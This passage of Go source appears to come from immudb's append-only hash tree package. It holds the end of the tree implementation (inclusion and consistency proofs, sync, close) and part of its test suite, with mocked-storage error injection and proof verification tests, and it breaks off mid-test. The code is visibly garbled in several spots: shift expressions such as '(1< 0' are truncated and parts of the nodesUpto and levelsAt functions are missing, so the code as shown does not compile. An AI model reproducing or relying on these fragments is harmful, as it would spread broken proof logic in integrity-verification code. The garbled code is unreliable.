uint64(l)) } func (t *AHtree) nodeAt(i uint64) (h [sha256.Size]byte, err error) { v, err := t.dCache.Get(i) if err == nil { return v.([sha256.Size]byte), nil } if err != cache.ErrKeyNotFound { return } _, err = t.dLog.ReadAt(h[:], int64(i*sha256.Size)) if err != nil { return } _, _, err = t.dCache.Put(i, h) return h, err } func nodesUntil(n uint64) uint64 { if n == 1 { return 0 } return nodesUpto(n - 1) } func nodesUpto(n uint64) uint64 { o := n l := 0 for { if n < (1 << l) { break } o += n >> (l + 1) << l if (n/(1< 0 { if w%2 == 1 { l++ } w >>= 1 } return l } func (t *AHtree) InclusionProof(i, j uint64) (p [][sha256.Size]byte, err error) { t.mutex.Lock() defer t.mutex.Unlock() if t.closed { err = ErrAlreadyClosed return } if i > j { return nil, ErrIllegalArguments } if j > t.size() { return nil, ErrUnexistentData } return t.inclusionProof(i, j, bits.Len64(j-1)) } func (t *AHtree) inclusionProof(i, j uint64, height int) ([][sha256.Size]byte, error) { var proof [][sha256.Size]byte for h := height - 1; h >= 0; h-- { if (j-1)&(1< 0 { k := (j - 1) >> h << h if i <= k { hNode, err := t.highestNode(j, h) if err != nil { return nil, err } proof = append([][sha256.Size]byte{hNode}, proof...) p, err := t.inclusionProof(i, k, h) if err != nil { return nil, err } proof = append(p, proof...) return proof, nil } n, err := t.node(k, h) if err != nil { return nil, err } proof = append([][sha256.Size]byte{n}, proof...) } } return proof, nil } func (t *AHtree) ConsistencyProof(i, j uint64) (p [][sha256.Size]byte, err error) { t.mutex.Lock() defer t.mutex.Unlock() if t.closed { err = ErrAlreadyClosed return } if i > j { return nil, ErrIllegalArguments } if j > t.size() { return nil, ErrUnexistentData } return t.consistencyProof(i, j, bits.Len64(j-1)) } func (t *AHtree) consistencyProof(i, j uint64, height int) ([][sha256.Size]byte, error) { var proof [][sha256.Size]byte for h := height - 1; h >= 0; h-- { if (j-1)&(1< 0 { k := (j - 1) >> h << h if i <= k { hNode, err := t.highestNode(j, h) if err != nil { return nil, err } proof = append([][sha256.Size]byte{hNode}, proof...) if i < k { p, err := t.consistencyProof(i, k, h) if err != nil { return nil, err } proof = append(p, proof...) } if i == k { hNode, err := t.highestNode(i, h) if err != nil { return nil, err } proof = append([][sha256.Size]byte{hNode}, proof...) } return proof, nil } n, err := t.node(k, h) if err != nil { return nil, err } proof = append([][sha256.Size]byte{n}, proof...) if i == j { hNode, err := t.highestNode(i, h) if err != nil { return nil, err } proof = append([][sha256.Size]byte{hNode}, proof...) return proof, nil } } } return proof, nil } func (t *AHtree) highestNode(i uint64, d int) ([sha256.Size]byte, error) { l := 0 for r := d - 1; r >= 0; r-- { if (i-1)&(1< 0 { l++ } } return t.node(i, l) } func (t *AHtree) Size() uint64 { t.mutex.Lock() defer t.mutex.Unlock() return t.size() } func (t *AHtree) size() uint64 { return uint64(t.cLogSize / cLogEntrySize) } func (t *AHtree) DataAt(n uint64) ([]byte, error) { t.mutex.Lock() defer t.mutex.Unlock() if t.closed { return nil, ErrAlreadyClosed } if n < 1 { return nil, ErrIllegalArguments } if n > t.size() { return nil, ErrUnexistentData } if n > t.latestSyncedNode { err := t.sync() if err != nil { return nil, err } } v, err := t.pCache.Get(n) if err == nil { return v.([]byte), nil } if err != cache.ErrKeyNotFound { return nil, err } var b [cLogEntrySize]byte _, err = t.cLog.ReadAt(b[:], int64((n-1)*cLogEntrySize)) if err != nil { return nil, err } pOff := binary.BigEndian.Uint64(b[:]) pSize := binary.BigEndian.Uint32(b[offsetSize:]) p := make([]byte, pSize) _, err = t.pLog.ReadAt(p[:], int64(pOff+szSize)) if err != nil { return nil, err } _, _, err = t.pCache.Put(n, p) return p, err } func (t *AHtree) Root() (n uint64, r [sha256.Size]byte, err error) { t.mutex.Lock() defer t.mutex.Unlock() if t.cLogSize == 0 { err = ErrEmptyTree return } n = t.size() r, err = t.rootAt(n) return } func (t *AHtree) RootAt(n uint64) (r [sha256.Size]byte, err error) { t.mutex.Lock() defer t.mutex.Unlock() return t.rootAt(n) } func (t *AHtree) rootAt(n uint64) (r [sha256.Size]byte, err error) { if t.closed { err = ErrAlreadyClosed return } if n == 0 { err = ErrIllegalArguments return } if t.cLogSize == 0 { err = ErrEmptyTree return } if n > t.size() { err = ErrUnexistentData return } return t.nodeAt(nodesUntil(n) + uint64(levelsAt(n))) } func (t *AHtree) Sync() error { t.mutex.Lock() defer t.mutex.Unlock() if t.closed { return ErrAlreadyClosed } if t.readOnly { return ErrReadOnly } return t.sync() } func (t *AHtree) sync() error { if t.cLogBufCount == 0 { return nil } err := t.pLog.Flush() if err != nil { return err } err = t.pLog.Sync() if err != nil { return err } err = t.dLog.Flush() if err != nil { return err } err = t.dLog.Sync() if err != nil { return err } // will overwrite partially written and uncommitted data err = t.cLog.SetOffset(int64(t.latestSyncedNode) * cLogEntrySize) if err != nil { return err } _, _, err = t.cLog.Append(t.cLogBuf[:t.cLogBufCount*cLogEntrySize]) if err != nil { return err } err = t.cLog.Flush() if err != nil { return err } err = t.cLog.Sync() if err != nil { return err } t.latestSyncedNode += uint64(t.cLogBufCount) t.cLogBufCount = 0 return nil } func (t *AHtree) Close() error { t.mutex.Lock() defer t.mutex.Unlock() if t.closed { return ErrAlreadyClosed } t.closed = true merrors := multierr.NewMultiErr() err := t.sync() merrors.Append(err) err = t.pLog.Close() merrors.Append(err) err = t.dLog.Close() merrors.Append(err) err = t.cLog.Close() merrors.Append(err) return merrors.Reduce() } ================================================ FILE: embedded/ahtree/ahtree_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package ahtree import ( "crypto/sha256" "encoding/binary" "errors" "io" "os" "path/filepath" "testing" "github.com/codenotary/immudb/embedded/appendable" "github.com/codenotary/immudb/embedded/appendable/mocked" "github.com/codenotary/immudb/embedded/appendable/multiapp" "github.com/stretchr/testify/require" "github.com/stretchr/testify/suite" ) func TestNodeNumberCalculation(t *testing.T) { var nodesUptoTests = []struct { n uint64 expected uint64 }{ {1, 1}, {2, 3}, {3, 5}, {4, 8}, {5, 10}, {6, 13}, {7, 16}, {8, 20}, {9, 22}, {10, 25}, {11, 28}, {12, 32}, {13, 35}, {14, 39}, {15, 43}, {16, 48}, } for _, tt := range nodesUptoTests { actual := nodesUpto(tt.n) require.Equal(t, tt.expected, actual) require.Equal(t, tt.expected, nodesUntil(tt.n)+uint64(levelsAt(tt.n))+1) } } type EdgeCasesTestSuite struct { suite.Suite pLog *mocked.MockedAppendable cLog *mocked.MockedAppendable dLog *mocked.MockedAppendable injectedErr error } func TestEdgeCasesTestSuite(t *testing.T) { suite.Run(t, new(EdgeCasesTestSuite)) } func (t *EdgeCasesTestSuite) SetupTest() { dummySetOffset := func(off int64) error { return nil } dummyAppend := func() func([]byte) (int64, int, error) { written := 0 return func(bs []byte) (int64, int, error) { offs := written written += len(bs) return int64(offs), len(bs), nil } } dummyFlush := func() error { return nil } dummySync := func() error { return nil } dummySize := func() (int64, error) { return 0, nil } dummyClose := func() error { return nil } t.pLog = &mocked.MockedAppendable{ SizeFn: dummySize, AppendFn: dummyAppend(), SetOffsetFn: dummySetOffset, FlushFn: dummyFlush, CloseFn: dummyClose, SyncFn: dummySync, } t.cLog = &mocked.MockedAppendable{ SizeFn: dummySize, AppendFn: dummyAppend(), SetOffsetFn: dummySetOffset, FlushFn: dummyFlush, CloseFn: dummyClose, SyncFn: dummySync, } t.dLog = &mocked.MockedAppendable{ SizeFn: dummySize, AppendFn: dummyAppend(), SetOffsetFn: dummySetOffset, FlushFn: dummyFlush, CloseFn: dummyClose, SyncFn: dummySync, } t.injectedErr = errors.New("injected error") } func (t *EdgeCasesTestSuite) TestShouldFailOnIllegalArguments() { _, err := Open(t.T().TempDir(), nil) t.Require().ErrorIs(err, ErrInvalidOptions) t.Require().ErrorIs(err, ErrIllegalArguments) _, err = OpenWith(nil, nil, nil, nil) t.Require().ErrorIs(err, ErrIllegalArguments) _, err = OpenWith(nil, nil, nil, DefaultOptions()) t.Require().ErrorIs(err, ErrIllegalArguments) _, err = OpenWith(t.pLog, t.dLog, t.cLog, nil) t.Require().ErrorIs(err, ErrIllegalArguments) } func (t *EdgeCasesTestSuite) TestShouldFailWhileQueryingCLogSize() { t.cLog.SizeFn = func() (int64, error) { return 0, t.injectedErr } _, err := OpenWith(t.pLog, t.dLog, t.cLog, DefaultOptions()) t.Require().ErrorIs(err, t.injectedErr) } func (t *EdgeCasesTestSuite) TestShouldFailWhileSettingCLogOffset() { t.cLog.SizeFn = func() (int64, error) { return cLogEntrySize - 1, nil } t.cLog.SetOffsetFn = func(off int64) error { return t.injectedErr } _, err := OpenWith(t.pLog, t.dLog, t.cLog, DefaultOptions()) t.Require().ErrorIs(err, t.injectedErr) } func (t *EdgeCasesTestSuite) TestShouldGailWhileSettingPLogOffset() { t.pLog.SetOffsetFn = func(off int64) error { return t.injectedErr } t.pLog.AppendFn = func(bs []byte) (off int64, n int, err error) { t.Require().Fail("Should fail before appending data") return 0, 0, nil } tree, err := OpenWith(t.pLog, t.dLog, t.cLog, DefaultOptions()) t.Require().NoError(err) _, _, err = tree.Append([]byte{1, 2, 3}) t.Require().ErrorIs(err, t.injectedErr) } func (t *EdgeCasesTestSuite) TestShouldFailWhileAppendingPayloadWritingLength() { t.pLog.AppendFn = func(bs []byte) (off int64, n int, err error) { return 0, 0, t.injectedErr } tree, err := OpenWith(t.pLog, t.dLog, t.cLog, DefaultOptions()) t.Require().NoError(err) _, _, err = tree.Append([]byte{1, 2, 3}) t.Require().ErrorIs(err, t.injectedErr) } func (t *EdgeCasesTestSuite) TestShouldFailWhileAppendingPayloadWritingData() { written := 0 t.pLog.AppendFn = func(bs []byte) (off int64, n int, err error) { off = int64(written) written += len(bs) if written > 4 { return 0, 0, t.injectedErr } return off, len(bs), nil } tree, err := OpenWith(t.pLog, t.dLog, t.cLog, DefaultOptions()) t.Require().NoError(err) _, _, err = tree.Append([]byte{1, 2, 3}) t.Require().ErrorIs(err, t.injectedErr) } func (t *EdgeCasesTestSuite) TestShouldFailFlushingPLog() { t.pLog.FlushFn = func() error { return t.injectedErr } tree, err := OpenWith(t.pLog, t.dLog, t.cLog, DefaultOptions()) t.Require().NoError(err) _, _, err = tree.Append([]byte{1, 2, 3}) t.Require().NoError(err) err = tree.Sync() t.Require().ErrorIs(err, t.injectedErr) } func (t *EdgeCasesTestSuite) TestShouldFailOnDLogSetOffset() { t.dLog.SetOffsetFn = func(off int64) error { return t.injectedErr } tree, err := OpenWith(t.pLog, t.dLog, t.cLog, DefaultOptions()) t.Require().NoError(err) _, _, err = tree.Append([]byte{1, 2, 3}) t.Require().ErrorIs(err, t.injectedErr) } func (t *EdgeCasesTestSuite) TestShouldFailFlushingDLog() { t.dLog.FlushFn = func() error { return t.injectedErr } tree, err := OpenWith(t.pLog, t.dLog, t.cLog, DefaultOptions()) t.Require().NoError(err) _, _, err = tree.Append([]byte{1, 2, 3}) t.Require().NoError(err) err = tree.Sync() t.Require().ErrorIs(err, t.injectedErr) } func (t *EdgeCasesTestSuite) TestShouldFailOnCLogSetOffsetDuringAppend() { tree, err := OpenWith(t.pLog, t.dLog, t.cLog, DefaultOptions().WithSyncThld(1)) t.Require().NoError(err) t.cLog.SetOffsetFn = func(off int64) error { return t.injectedErr } _, _, err = tree.Append([]byte{1, 2, 3}) t.Require().ErrorIs(err, t.injectedErr) } func (t *EdgeCasesTestSuite) TestShouldFailWritingCLog() { t.cLog.AppendFn = func(bs []byte) (off int64, n int, err error) { return 0, 0, t.injectedErr } tree, err := OpenWith(t.pLog, t.dLog, t.cLog, DefaultOptions().WithSyncThld(1)) t.Require().NoError(err) _, _, err = tree.Append([]byte{1, 2, 3}) t.Require().ErrorIs(err, t.injectedErr) } func (t *EdgeCasesTestSuite) TestShouldFailFlushingCLog() { t.cLog.FlushFn = func() error { return t.injectedErr } tree, err := OpenWith(t.pLog, t.dLog, t.cLog, DefaultOptions().WithSyncThld(2)) t.Require().NoError(err) _, _, err = tree.Append([]byte{1, 2, 3}) t.Require().NoError(err) _, _, err = tree.Append([]byte{4, 5, 6}) t.Require().ErrorIs(err, t.injectedErr) } func (t *EdgeCasesTestSuite) TestShouldFailCalculatingHashesOnAppend() { t.dLog.ReadAtFn = func(bs []byte, off int64) (int, error) { return 0, t.injectedErr } tree, err := OpenWith(t.pLog, t.dLog, t.cLog, DefaultOptions()) t.Require().NoError(err) _, _, err = tree.Append([]byte{1, 2, 3}) t.Require().NoError(err) tree.dCache.Pop(uint64(0)) _, _, err = tree.Append([]byte{4, 5, 6}) t.Require().ErrorIs(err, t.injectedErr) } func (t *EdgeCasesTestSuite) TestShouldFailWhileValidatingPLogSize() { t.cLog.SizeFn = func() (int64, error) { return cLogEntrySize + 1, nil } t.cLog.ReadAtFn = func(bs []byte, off int64) (int, error) { binary.BigEndian.PutUint64(bs[:], 0) binary.BigEndian.PutUint32(bs[offsetSize:], 8) return cLogEntrySize, nil } t.pLog.SizeFn = func() (int64, error) { return 0, nil } _, err := OpenWith(t.pLog, t.dLog, t.cLog, DefaultOptions()) t.Require().ErrorIs(err, ErrorCorruptedData) } func (t *EdgeCasesTestSuite) TestShouldFailWhileValidatingDLogSize() { t.cLog.SizeFn = func() (int64, error) { return cLogEntrySize + 1, nil } t.cLog.ReadAtFn = func(bs []byte, off int64) (int, error) { binary.BigEndian.PutUint64(bs[:], 0) binary.BigEndian.PutUint32(bs[offsetSize:], 8) return cLogEntrySize, nil } t.pLog.SizeFn = func() (int64, error) { return szSize + 8, nil } t.dLog.SizeFn = func() (int64, error) { return 0, nil } _, err := OpenWith(t.pLog, t.dLog, t.cLog, DefaultOptions()) t.Require().ErrorIs(err, ErrorCorruptedDigests) } func (t *EdgeCasesTestSuite) TestShouldFailReadingDLogSize() { t.cLog.SizeFn = func() (int64, error) { return cLogEntrySize, nil } t.cLog.ReadAtFn = func(bs []byte, off int64) (int, error) { binary.BigEndian.PutUint64(bs[:], 0) binary.BigEndian.PutUint32(bs[offsetSize:], 8) return cLogEntrySize, nil } t.pLog.SizeFn = func() (int64, error) { return szSize + 8, nil } t.dLog.SizeFn = func() (int64, error) { return 0, t.injectedErr } _, err := OpenWith(t.pLog, t.dLog, t.cLog, DefaultOptions()) t.Require().ErrorIs(err, t.injectedErr) } func (t *EdgeCasesTestSuite) TestShouldFailReadingPLogSize() { t.cLog.SizeFn = func() (int64, error) { return cLogEntrySize, nil } t.cLog.ReadAtFn = func(bs []byte, off int64) (int, error) { binary.BigEndian.PutUint64(bs[:], 0) binary.BigEndian.PutUint32(bs[offsetSize:], 8) return cLogEntrySize, nil } t.pLog.SizeFn = func() (int64, error) { return 0, t.injectedErr } _, err := OpenWith(t.pLog, t.dLog, t.cLog, DefaultOptions()) t.Require().ErrorIs(err, t.injectedErr) } func (t *EdgeCasesTestSuite) TestShouldFailReadingLastCLogEntry() { metadata := appendable.NewMetadata(nil) metadata.PutInt(MetaVersion, Version) t.dLog.MetadataFn = metadata.Bytes t.cLog.MetadataFn = metadata.Bytes t.cLog.SizeFn = func() (int64, error) { return cLogEntrySize, nil } t.cLog.ReadAtFn = func(bs []byte, off int64) (int, error) { return 0, t.injectedErr } _, err := OpenWith(t.pLog, t.dLog, t.cLog, DefaultOptions()) t.Require().ErrorIs(err, t.injectedErr) } func (t *EdgeCasesTestSuite) TestShouldFailAppendingToDLog() { t.dLog.AppendFn = func(bs []byte) (off int64, n int, err error) { return 0, 0, t.injectedErr } tree, err := OpenWith(t.pLog, t.dLog, t.cLog, DefaultOptions()) t.Require().NoError(err) _, _, err = tree.Append(nil) t.Require().ErrorIs(err, ErrIllegalArguments) _, _, err = tree.Append([]byte{1, 2, 3}) t.Require().ErrorIs(err, t.injectedErr) } func (t *EdgeCasesTestSuite) TestShouldFailDueToInvalidPath() { _, err := Open("options.go", DefaultOptions()) t.Require().ErrorIs(err, ErrorPathIsNotADirectory) } func (t *EdgeCasesTestSuite) TestShouldFailDueToInvalidCacheSize() { _, err := Open(t.T().TempDir(), DefaultOptions().WithDataCacheSlots(-1)) t.Require().ErrorIs(err, ErrInvalidOptions) } func (t *EdgeCasesTestSuite) TestShouldFailDueToInvalidDigestsCacheSize() { _, err := Open(t.T().TempDir(), DefaultOptions().WithDigestsCacheSlots(-1)) t.Require().ErrorIs(err, ErrInvalidOptions) } func (t *EdgeCasesTestSuite) TestWithEmptyFiles() { tree, err := Open(t.T().TempDir(), DefaultOptions()) t.Require().NoError(err) t.Run("should fail to get tree root when tree is empty", func() { _, _, err := tree.Root() t.Require().ErrorIs(err, ErrEmptyTree) _, err = tree.rootAt(1) t.Require().ErrorIs(err, ErrEmptyTree) _, err = tree.rootAt(0) t.Require().ErrorIs(err, ErrIllegalArguments) }) t.Run("should fail to get data when tree is empty", func() { _, err := tree.DataAt(0) t.Require().ErrorIs(err, ErrIllegalArguments) }) t.Run("should not error when syncing empty tree", func() { err := tree.Sync() t.Require().NoError(err) }) t.Run("should fail on inclusion proof for non-existing root node", func() { _, err := tree.InclusionProof(1, 2) t.Require().ErrorIs(err, ErrUnexistentData) }) err = tree.Close() t.Require().NoError(err) } func (t *EdgeCasesTestSuite) TestFailAfterClose() { tree, err := Open(t.T().TempDir(), DefaultOptions()) t.Require().NoError(err) _, _, err = tree.Append([]byte{1}) t.Require().NoError(err) err = tree.Close() t.Require().NoError(err) _, _, err = tree.Append(nil) t.Require().ErrorIs(err, ErrAlreadyClosed) _, err = tree.InclusionProof(1, 2) t.Require().ErrorIs(err, ErrAlreadyClosed) _, err = tree.ConsistencyProof(1, 2) t.Require().ErrorIs(err, ErrAlreadyClosed) _, _, err = tree.Root() t.Require().ErrorIs(err, ErrAlreadyClosed) _, err = tree.rootAt(1) t.Require().ErrorIs(err, ErrAlreadyClosed) _, err = tree.DataAt(1) t.Require().ErrorIs(err, ErrAlreadyClosed) err = tree.Sync() t.Require().ErrorIs(err, ErrAlreadyClosed) err = tree.ResetSize(0) t.Require().ErrorIs(err, ErrAlreadyClosed) err = tree.Close() t.Require().ErrorIs(err, ErrAlreadyClosed) } func TestReadOnly(t *testing.T) { dir := t.TempDir() tree, err := Open(dir, DefaultOptions().WithReadOnly(false)) require.NoError(t, err) err = tree.Close() require.NoError(t, err) tree, err = Open(dir, DefaultOptions().WithReadOnly(true)) require.NoError(t, err) _, _, err = tree.Append(nil) require.ErrorIs(t, err, ErrReadOnly) err = tree.Sync() require.ErrorIs(t, err, ErrReadOnly) err = tree.Close() require.NoError(t, err) } func TestAppend(t *testing.T) { opts := DefaultOptions(). WithDigestsCacheSlots(100). WithDataCacheSlots(100) tree, err := Open(t.TempDir(), opts) require.NoError(t, err) N := 100 for i := 1; i <= N; i++ { p := []byte{byte(i)} _, _, err := tree.Append(p) require.NoError(t, err) ri, err := tree.RootAt(uint64(i)) require.NoError(t, err) n, r, err := tree.Root() require.NoError(t, err) require.Equal(t, uint64(i), n) require.Equal(t, r, ri) sz := tree.Size() require.Equal(t, uint64(i), sz) rp, err := tree.DataAt(uint64(i)) require.NoError(t, err) require.Equal(t, p, rp) _, err = tree.RootAt(uint64(i) + 1) require.ErrorIs(t, err, ErrUnexistentData) _, err = tree.DataAt(uint64(i) + 1) require.ErrorIs(t, err, ErrUnexistentData) } rp, err := tree.DataAt(uint64(1)) require.NoError(t, err) require.Equal(t, []byte{byte(1)}, rp) err = tree.Sync() require.NoError(t, err) err = tree.Close() require.NoError(t, err) } func TestIntegrity(t *testing.T) { tree, err := Open(t.TempDir(), DefaultOptions()) require.NoError(t, err) N := 1024 for i := 1; i <= N; i++ { _, _, err := tree.Append([]byte{byte(i)}) require.NoError(t, err) } n, _, err := tree.Root() require.NoError(t, err) for i := uint64(1); i <= n; i++ { r, err := tree.RootAt(i) require.NoError(t, err) for j := uint64(1); j <= i; j++ { iproof, err := tree.InclusionProof(j, i) require.NoError(t, err) d, err := tree.DataAt(j) require.NoError(t, err) pd := make([]byte, 1+len(d)) pd[0] = LeafPrefix copy(pd[1:], d) verifies := VerifyInclusion(iproof, j, i, sha256.Sum256(pd), r) require.True(t, verifies) } } } func TestOpenFail(t *testing.T) { _, err := Open("/dev/null", DefaultOptions()) require.Error(t, err) roDir := filepath.Join(t.TempDir(), "ro_dir1") os.Mkdir(roDir, 0500) _, err = Open(filepath.Join(roDir, "bla"), DefaultOptions()) require.Error(t, err) _, err = Open("wrongdir\000", DefaultOptions()) require.Error(t, err) tt1Dir := os.TempDir() _, err = Open(tt1Dir, DefaultOptions().WithAppFactory( func(rootPath, subPath string, opts *multiapp.Options) (a appendable.Appendable, e error) { if subPath == "tree" { e = errors.New("simulated error") } return })) require.Error(t, err) _, err = Open(tt1Dir, DefaultOptions().WithAppFactory( func(rootPath, subPath string, opts *multiapp.Options) (a appendable.Appendable, e error) { if subPath == "commit" { e = errors.New("simulated error") } return })) require.Error(t, err) } func TestInclusionAndConsistencyProofs(t *testing.T) { tree, err := Open(t.TempDir(), DefaultOptions()) require.NoError(t, err) N := 1024 for i := 1; i <= N; i++ { _, r, err := tree.Append([]byte{byte(i)}) require.NoError(t, err) iproof, err := tree.InclusionProof(uint64(i), uint64(i)) require.NoError(t, err) h := sha256.Sum256([]byte{LeafPrefix, byte(i)}) verifies := VerifyInclusion(iproof, uint64(i), uint64(i), h, r) require.True(t, verifies) } _, err = tree.InclusionProof(2, 1) require.ErrorIs(t, err, ErrIllegalArguments) _, err = tree.ConsistencyProof(2, 1) require.ErrorIs(t, err, ErrIllegalArguments) for i := 1; i <= N; i++ { for j := i; j <= N; j++ { iproof, err := tree.InclusionProof(uint64(i), uint64(j)) require.NoError(t, err) jroot, err := tree.RootAt(uint64(j)) require.NoError(t, err) h := sha256.Sum256([]byte{LeafPrefix, byte(i)}) verifies := VerifyInclusion(iproof, uint64(i), uint64(j), h, jroot) require.True(t, verifies) cproof, err := tree.ConsistencyProof(uint64(i), uint64(j)) require.NoError(t, err) iroot, err := tree.RootAt(uint64(i)) require.NoError(t, err) verifies = VerifyConsistency(cproof, uint64(i), uint64(j), iroot, jroot) require.True(t, verifies) } } for i := 1; i <= N; i++ { iproof, err := tree.InclusionProof(uint64(i), uint64(N)) require.NoError(t, err) h := sha256.Sum256([]byte{LeafPrefix, byte(i)}) root, err := tree.RootAt(uint64(i)) require.NoError(t, err) verifies := VerifyLastInclusion(iproof, uint64(i), h, root) if i < N { require.False(t, verifies) } else { require.True(t, verifies) } } err = tree.Close() require.NoError(t, err) } func TestReOpenningImmudbStore(t *testing.T) { dir := t.TempDir() ItCount := 5 ACount := 100 for it := 0; it < ItCount; it++ { tree, err := Open(dir, DefaultOptions()) require.NoError(t, err) for i := 0; i < ACount; i++ { p := []byte{byte(i)} _, _, err := tree.Append(p) require.NoError(t, err) } err = tree.Close() require.NoError(t, err) } tree, err := Open(dir, DefaultOptions()) require.NoError(t, err) for i := 1; i <= ItCount*ACount; i++ { for j := i; j <= ItCount*ACount; j++ { proof, err := tree.InclusionProof(uint64(i), uint64(j)) require.NoError(t, err) root, _ := tree.RootAt(uint64(j)) h := sha256.Sum256([]byte{LeafPrefix, byte((i - 1) % ACount)}) verifies := VerifyInclusion(proof, uint64(i), uint64(j), h, root) require.True(t, verifies) } } err = tree.Close() require.NoError(t, err) } func TestReset(t *testing.T) { path := t.TempDir() tree, err := Open(path, DefaultOptions()) require.NoError(t, err) N := 32 for i := 1; i <= N; i++ { _, _, err := tree.Append([]byte{byte(i)}) require.NoError(t, err) } err = tree.ResetSize(0) require.NoError(t, err) require.Zero(t, tree.Size()) N = 1024 for i := 1; i <= N; i++ { _, _, err := tree.Append([]byte{byte(i)}) require.NoError(t, err) } err = tree.ResetSize(uint64(N + 1)) require.ErrorIs(t, err, ErrCannotResetToLargerSize) err = tree.ResetSize(uint64(N)) require.NoError(t, err) require.Equal(t, uint64(N), tree.Size()) N = 512 err = tree.ResetSize(uint64(N)) require.NoError(t, err) require.Equal(t, uint64(N), tree.Size()) for i := 1; i <= N; i++ { for j := i; j <= N; j++ { iproof, err := tree.InclusionProof(uint64(i), uint64(j)) require.NoError(t, err) jroot, err := tree.RootAt(uint64(j)) require.NoError(t, err) h := sha256.Sum256([]byte{LeafPrefix, byte(i)}) verifies := VerifyInclusion(iproof, uint64(i), uint64(j), h, jroot) require.True(t, verifies) cproof, err := tree.ConsistencyProof(uint64(i), uint64(j)) require.NoError(t, err) iroot, err := tree.RootAt(uint64(i)) require.NoError(t, err) verifies = VerifyConsistency(cproof, uint64(i), uint64(j), iroot, jroot) require.True(t, verifies) } } for i := 1; i <= N; i++ { iproof, err := tree.InclusionProof(uint64(i), uint64(N)) require.NoError(t, err) h := sha256.Sum256([]byte{LeafPrefix, byte(i)}) root, err := tree.RootAt(uint64(i)) require.NoError(t, err) verifies := VerifyLastInclusion(iproof, uint64(i), h, root) if i < N { require.False(t, verifies) } else { require.True(t, verifies) } } err = tree.Close() require.NoError(t, err) err = tree.ResetSize(uint64(N)) require.ErrorIs(t, err, ErrAlreadyClosed) tree, err = Open(path, DefaultOptions().WithReadOnly(true)) require.NoError(t, err) err = tree.ResetSize(1) require.ErrorIs(t, err, ErrReadOnly) err = tree.Close() require.NoError(t, err) } func appendableFromBuffer(sourceData []byte) *mocked.MockedAppendable { data := make([]byte, len(sourceData)) copy(data, sourceData) currOffs := int64(len(data)) return &mocked.MockedAppendable{ SizeFn: func() (int64, error) { return int64(len(data)), nil }, OffsetFn: func() int64 { return currOffs }, SetOffsetFn: func(off int64) error { currOffs = off; return nil }, FlushFn: func() error { return nil }, SyncFn: func() error { return nil }, CloseFn: func() error { return nil }, AppendFn: func(bs []byte) (off int64, n int, err error) { off = currOffs n = len(bs) data = append(data[:currOffs], bs...) currOffs += int64(n) return off, n, nil }, ReadAtFn: func(bs []byte, off int64) (int, error) { if off > int64(len(data)) { return 0, io.EOF } n := copy(bs, data[off:]) if n < len(bs) { return n, io.EOF } return n, nil }, } } func TestResetCornerCases(t *testing.T) { t.Run("should fail on cLog read error", func(t *testing.T) { injectedErr := errors.New("injected error") pLog := appendableFromBuffer(nil) pLog.SizeFn = func() (int64, error) { return 2 * szSize, nil } dLog := appendableFromBuffer(make([]byte, 3*sha256.Size)) cLog := appendableFromBuffer(make([]byte, 12*2)) cLog.ReadAtFn = func(bs []byte, off int64) (int, error) { if off == 0 { return 0, injectedErr } return len(bs), nil } tree, err := OpenWith(pLog, dLog, cLog, DefaultOptions()) require.NoError(t, err) err = tree.ResetSize(1) require.ErrorIs(t, err, injectedErr) err = tree.Close() require.NoError(t, err) }) t.Run("should fail on getting pLogSize", func(t *testing.T) { injectedErr := errors.New("injected error") pLog := appendableFromBuffer(nil) pLog.SizeFn = func() (int64, error) { return 2 * szSize, nil } dLog := appendableFromBuffer(make([]byte, 3*sha256.Size)) cLog := appendableFromBuffer(make([]byte, 12*2)) tree, err := OpenWith(pLog, dLog, cLog, DefaultOptions()) require.NoError(t, err) pLog.SizeFn = func() (int64, error) { return 0, injectedErr } err = tree.ResetSize(1) require.ErrorIs(t, err, injectedErr) err = tree.Close() require.NoError(t, err) }) t.Run("should fail on corrupted older cLog entries", func(t *testing.T) { pLog := appendableFromBuffer(nil) pLog.SizeFn = func() (int64, error) { return szSize, nil } dLog := appendableFromBuffer(make([]byte, 3*sha256.Size)) cLog := appendableFromBuffer([]byte{ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, // Corrupted entry, offset way outside pLog size 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, // Correct entry to allow opening without an error }) tree, err := OpenWith(pLog, dLog, cLog, DefaultOptions()) require.NoError(t, err) err = tree.ResetSize(1) require.ErrorIs(t, err, ErrorCorruptedData) err = tree.Close() require.NoError(t, err) }) t.Run("should fail on dLog size error", func(t *testing.T) { injectedErr := errors.New("injected error") pLog := appendableFromBuffer(nil) pLog.SizeFn = func() (int64, error) { return 2 * szSize, nil } dLog := appendableFromBuffer(make([]byte, 3*sha256.Size)) cLog := appendableFromBuffer(make([]byte, 2*12)) tree, err := OpenWith(pLog, dLog, cLog, DefaultOptions()) require.NoError(t, err) dLog.SizeFn = func() (int64, error) { return 0, injectedErr } err = tree.ResetSize(1) require.ErrorIs(t, err, injectedErr) err = tree.Close() require.NoError(t, err) }) t.Run("should fail on incorrect dlog size", func(t *testing.T) { pLog := appendableFromBuffer(nil) pLog.SizeFn = func() (int64, error) { return 2 * szSize, nil } dLog := appendableFromBuffer(make([]byte, 3*sha256.Size)) cLog := appendableFromBuffer(make([]byte, 2*12)) tree, err := OpenWith(pLog, dLog, cLog, DefaultOptions()) require.NoError(t, err) dLog.SizeFn = func() (int64, error) { return 0, nil } err = tree.ResetSize(1) require.ErrorIs(t, err, ErrorCorruptedDigests) err = tree.Close() require.NoError(t, err) }) } func BenchmarkAppend(b *testing.B) { opts := DefaultOptions(). WithWriteBufferSize(1 << 26). //64Mb WithRetryableSync(true). WithAutoSync(true). WithSyncThld(100_000). WithFileSize(1 << 29) tree, err := Open(b.TempDir(), opts) require.NoError(b, err) var bs [sha256.Size]byte for i := 0; i < b.N; i++ { for j := 0; j < 1_000_000; j++ { _, _, err := tree.Append(bs[:]) require.NoError(b, err) } } tree.Close() } func TestAppendAfterReopening(t *testing.T) { opts := DefaultOptions(). WithWriteBufferSize(1 << 26). //64Mb WithRetryableSync(true). WithAutoSync(true). WithSyncThld(2_000). WithFileSize(1 << 16). WithDigestsCacheSlots(2) path := t.TempDir() for i := 0; i < 10; 